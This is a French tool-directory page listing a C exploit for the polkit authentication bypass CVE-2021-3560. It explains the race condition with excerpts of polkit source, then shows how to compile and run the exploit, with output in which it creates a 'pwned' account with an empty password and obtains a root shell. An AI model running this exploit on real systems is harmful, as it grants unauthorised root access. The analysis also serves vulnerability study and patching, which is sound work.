Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3560 — Exploit C pour CVE-2021-3560, un contournement de l'authentification dans polkit permettant aux utilisateurs non privilégiés de créer un compte privilégié via DBus, avec une analyse technique détaillée. | Kitploit
Outils/GitHubGitHub/hakivvi/cve-2021-3560
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionRed Teaming
GitHubhakivvi/cve-2021-3560

CVE-2021-3560

Exploit C pour CVE-2021-3560, un contournement de l'authentification dans polkit permettant aux utilisateurs non privilégiés de créer un compte privilégié via DBus, avec une analyse technique détaillée.

Voir le dépôt
40123il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-3560

un exploit fiable en C pour CVE-2021-3560.

Résumé :

Hier, je suis tombé sur ce billet de blog de Kevin Backhouse (qui a découvert cette vulnérabilité), j'ai essayé les commandes bash fournies dans le billet et, à ma grande surprise, cela a fonctionné sur ma machine Kali Linux !

CVE-2021-3560 est un contournement d'authentification sur polkit, qui permet à un utilisateur non privilégié d'appeler des méthodes privilégiées via DBus. Le PoC exploite ce bogue pour appeler 2 méthodes privilégiées fournies par accountsservice (CreateUser et SetPassword), ce qui nous permet de créer un utilisateur privilégié puis de lui définir un mot de passe.

polkit vérifie si l'appelant est autorisé à appeler une telle méthode ; il le fait en vérifiant d'abord l'identifiant utilisateur (UID) de l'appelant ; s'il est nul, l'appelant est considéré comme root et l'action est autorisée sans demande d'authentification ; sinon, il demande le mot de passe de l'utilisateur.

polkit_system_bus_name_get_creds_sync() invoque 2 méthodes pour obtenir l'UID et le PID de l'appelant GetConnectionUnixUser et GetConnectionUnixProcessID. Le résultat de ces appels est écrit dans la structure data de type AsyncGetBusNameCredsData (cette structure est initialisée à 0) par la fonction de rappel on_retrieved_unix_uid_pid(), et polkit_system_bus_name_get_creds_sync() bloque en attendant que la fonction de rappel définisse une erreur ou l'UID et le PID.

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // initialisé à 0
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // fonction de rappel
			  &data); // data est passée à la fonction de rappel avec la réponse de la méthode
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // fonction de rappel
			  &data); // data est passée à la fonction de rappel avec la réponse de la méthode

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // bloque tant que on_retrieved_unix_uid_pid() n'a pas été appelée
    g_main_context_iteration (tmp_context, TRUE);

La fonction de rappel on_retrieved_unix_uid_pid() est invoquée après chaque appel de méthode pour récupérer la réponse (UID et PID) ou définir une erreur. Cette fonction appelle g_dbus_connection_call_finish() pour récupérer la réponse ; si une erreur se produit, alors elle définit data.caught_error à TRUE et retourne (data.uid et data.pid restent à 0). Sinon, elle assigne la valeur récupérée (UID ou PID) à data.uid ou data.pid (selon la valeur récupérée) puis retourne.

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src, // connection
			   GAsyncResult         *res, // objet résultat asynchrone
			   gpointer              user_data) // paramètre data passé de la fonction précédente
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // termine et récupère la réponse
  if (!v) // erreur ?
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // dépaquète la réponse, obtient UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // méthode GetConnectionUnixUser
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // méthode GetConnectionUnixProcessID
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

Les méthodes GetConnectionUnixUser et GetConnectionUnixProcessID retourneront l'UID et le PID s'ils sont trouvés (le processus appelant est encore connecté au bus), ou une erreur si une erreur se produit (par exemple : processus appelant tué).

Une fois que data.uid et data.pid sont définis ou que data.caught_error est défini, la fonction polkit_system_bus_name_get_creds_sync() continue son exécution et c'est là que se trouve la vulnérabilité. polkit_system_bus_name_get_creds_sync() ne retourne pas d'erreur si data.caught_error est défini ; au lieu de cela, elle affecte la valeur présente dans data.uid à out_uid et retourne TRUE (même si data.caught_error est défini). out_pid est un pointeur vers une variable guint32 passée à polkit_system_bus_name_get_creds_sync() lorsqu'elle est appelée par :

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // pointeur
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // attend que la fonction de rappel traite la réponse
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // définit même s'il y a une erreur [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // définit même s'il y a une erreur [!]
  ret = TRUE; // retourne TRUE même s'il y a une erreur [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

Exploitation :

Si un processus A appelle une méthode privilégiée via DBus, alors polkit vérifiera l'UID de l'appelant. Si le processus A se termine immédiatement après avoir envoyé le message, alors les méthodes GetConnectionUnixUser et GetConnectionUnixProcessID renverront une erreur car le processus appelant n'existe plus. La fonction de rappel on_retrieved_unix_uid_pid() mettra data.caught_error à TRUE, data.uid et data.pid resteront inchangés (ce qui signifie qu'ils seront tous deux mis à 0 car la structure de données est initialisée à 0). La fonction polkit_system_bus_name_get_creds_sync() continuera son exécution et définira out_uid à data.uid (0), et retournera TRUE.

Quelques fonctions continueront à renvoyer le faux UID (0), jusqu'à ce que polkit_backend_session_monitor_get_user_for_subject() retourne user_of_subject (construit à partir du faux UID) à la fonction check_authorization_sync(), qui vérifie si l'UID est root en appelant identity_is_root_user(user_of_subject) qui retournera TRUE et le processus A sera autorisé.

root@kitploit:~
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // autorise l'appelant
      goto out;
    }

  [snip]
 

PoC :

J'ai décidé d'écrire un PoC en utilisant l'API C de dbus. Je n'ai pas utilisé sleep() en attendant l'envoi du message au service cible ; à la place, les fonctions DBus fournissent un paramètre de temporisation (timeout). Ainsi, en (abusant) de ce paramètre, nous pouvons forcer la fonction à retourner juste après avoir envoyé le message, puis tuer le processus. Cela nous permet d'exploiter la vulnérabilité sur polkit et de contourner l'authentification. Référez-vous à ce billet de blog pour les détails techniques.

Exécution :

  1. Compiler l'exploit :
root@kitploit:~
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
  1. Exécuter l'exploit :
root@kitploit:~
user@host: ./exploit
  • Résultat :
root@kitploit:~
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
Télécharger l’outil
polkit_system_bus_name_get_user_sync()